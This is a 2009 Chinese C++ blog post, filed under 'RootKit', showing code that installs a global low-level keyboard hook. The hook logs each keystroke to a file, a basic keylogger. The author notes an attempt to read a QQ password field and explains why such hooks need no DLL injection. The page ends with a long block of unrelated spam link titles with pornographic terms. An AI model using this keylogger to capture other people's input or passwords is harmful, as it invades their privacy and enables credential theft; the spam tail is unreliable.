• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            About ShutDown of Windows(三)

            Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(188) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            接著 About ShutDown of Windows(二) ?繼續,將代碼繼續改進

            HHOOK?g_Hook;

            LRESULT?CALLBACK?MyKeyHook(
            int?code,?WPARAM?wParam,?LPARAM?lParam)
            {
            #if?(_WIN32_WINNT?<?0x0400)
            /*
            ?*?Structure?used?by?WH_KEYBOARD_LL
            ?
            */
            typedef?
            struct?tagKBDLLHOOKSTRUCT?{
            ????DWORD???vkCode;
            ????DWORD???scanCode;
            ????DWORD???flags;
            ????DWORD???time;
            ????DWORD???dwExtraInfo;
            }?KBDLLHOOKSTRUCT,?FAR?
            *LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
            #endif

            ????PKBDLLHOOKSTRUCT?kbDLLHOOK?
            =?(PKBDLLHOOKSTRUCT)lParam;
            ????
            ????
            const?char?*info?=?NULL;
            ????
            ????
            if?(wParam?==?WM_KEYDOWN)
            ????????info?
            =?"key?down";????
            ????
            else?if?(wParam?==?WM_KEYUP)
            ????????info?
            =?"key?up";
            ????
            else?if?(wParam?==?WM_SYSKEYDOWN)
            ????????info?
            =?"sys?key?down";????
            ????
            else?if?(wParam?==?WM_SYSKEYUP)
            ????????info?
            =?"sys?key?up";

            ????FILE
            *?f?=?fopen("hook.txt",?"a+");

            ????CString?strLog;
            ????strLog.Format(
            "%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

            ????fwrite(strLog,?
            1,?strLog.GetLength(),?f);
            ????fclose(f);

            ????
            //?always?call?next?hook
            ????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
            }??????

            BOOL?CHookTestDlg::OnInitDialog()
            {
            ????CDialog::OnInitDialog();

            ????
            //?Add?"About"?menu?item?to?system?menu.

            ????
            //?IDM_ABOUTBOX?must?be?in?the?system?command?range.
            ????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
            ????ASSERT(IDM_ABOUTBOX?
            <?0xF000);

            ????CMenu
            *?pSysMenu?=?GetSystemMenu(FALSE);
            ????
            if?(pSysMenu?!=?NULL)
            ????{
            ????????CString?strAboutMenu;
            ????????strAboutMenu.LoadString(IDS_ABOUTBOX);
            ????????
            if?(!strAboutMenu.IsEmpty())
            ????????{
            ????????????pSysMenu
            ->AppendMenu(MF_SEPARATOR);
            ????????????pSysMenu
            ->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
            ????????}
            ????}

            ????
            //?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
            ????
            //??when?the?application's?main?window?is?not?a?dialog
            ????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
            ????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
            ????
            ????
            //?TODO:?Add?extra?initialization?here
            #ifndef?WH_KEYBOARD_LL
            ????
            #define?WH_KEYBOARD_LL?13
            #endif
            ????
            ????g_Hook?
            =?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
            ????
            ????
            if(?g_Hook?==?NULL?)
            ????????AfxMessageBox(
            "Failed?to?Set?Hook");
            ????
            ????
            return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
            }

            已經實現了HOOK鍵盤消息(題外話:對于普通的程序確實可行,但對于QQ2009的PwdEdit顯示出來的東西是不對的,明顯QQ2009的PwdEdit對消息加密過)

            用 SysCheck 工具查看,這個EXE也并沒有注入到其它進程

            MSDN的解釋
            WH_KEYBOARD_LL
            Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

            If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

            ???????? 一般情況下,全局消息鉤子要依賴于一個DLL才能夠正常工作。

            但實際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數的調用是在安裝鉤子的線程上下文中進行的,說得更明白些,意思就是這些鉤子是在哪個線程當中安裝的,其鉤子函數就在哪個線程中執行。所以使用這四種鉤子是達不到代碼注入的效果的,當然也就可以不依賴于任何DLL了。MSDN中只對個別鉤子指出了必須還是沒有必要使用DLL。



            日本WV一本一道久久香蕉| 看全色黄大色大片免费久久久| 亚洲色婷婷综合久久| 久久精品国产亚洲精品2020| 免费国产99久久久香蕉| 久久夜色精品国产www| 久久丫精品国产亚洲av| 久久精品国产一区二区电影| 久久午夜伦鲁片免费无码| 久久久久久久综合日本| 久久99精品久久久久久久不卡| 日韩久久久久中文字幕人妻| 久久精品水蜜桃av综合天堂| 国内精品伊人久久久久妇| 国产精品成人久久久久久久| 72种姿势欧美久久久久大黄蕉| 久久伊人五月丁香狠狠色| 久久精品国产99久久久香蕉| 久久精品国产亚洲一区二区| 久久久一本精品99久久精品88| 国产成人精品久久| 久久精品国产99国产电影网| 日产精品久久久一区二区| 久久久无码精品亚洲日韩京东传媒| 精品综合久久久久久88小说 | 久久精品国产亚洲av麻豆蜜芽| 国産精品久久久久久久| 亚洲狠狠久久综合一区77777| 欧美熟妇另类久久久久久不卡| 波多野结衣久久| 日本精品一区二区久久久| 亚洲国产成人久久笫一页| 日韩AV毛片精品久久久| 欧美一级久久久久久久大片| 久久午夜福利电影| 色婷婷久久综合中文久久一本| 久久久黄片| 精品一二三区久久aaa片| 日韩乱码人妻无码中文字幕久久 | 国产高潮国产高潮久久久91| 狠狠色伊人久久精品综合网|